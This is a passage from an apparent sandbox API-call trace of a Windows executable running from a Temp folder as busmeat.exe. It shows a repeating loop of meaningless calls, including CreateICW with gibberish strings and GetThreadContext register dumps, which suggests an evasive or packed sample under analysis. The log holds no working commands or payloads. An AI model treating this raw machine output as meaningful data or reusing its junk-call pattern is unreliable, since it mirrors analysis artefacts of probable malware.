[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.291] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.292] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.292] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.292] GetConsoleCP () returned 0x0
	[0066.292] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.292] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.292] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.293] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.293] GetConsoleCP () returned 0x0
	[0066.293] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.293] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.293] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.293] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.293] GetConsoleCP () returned 0x0
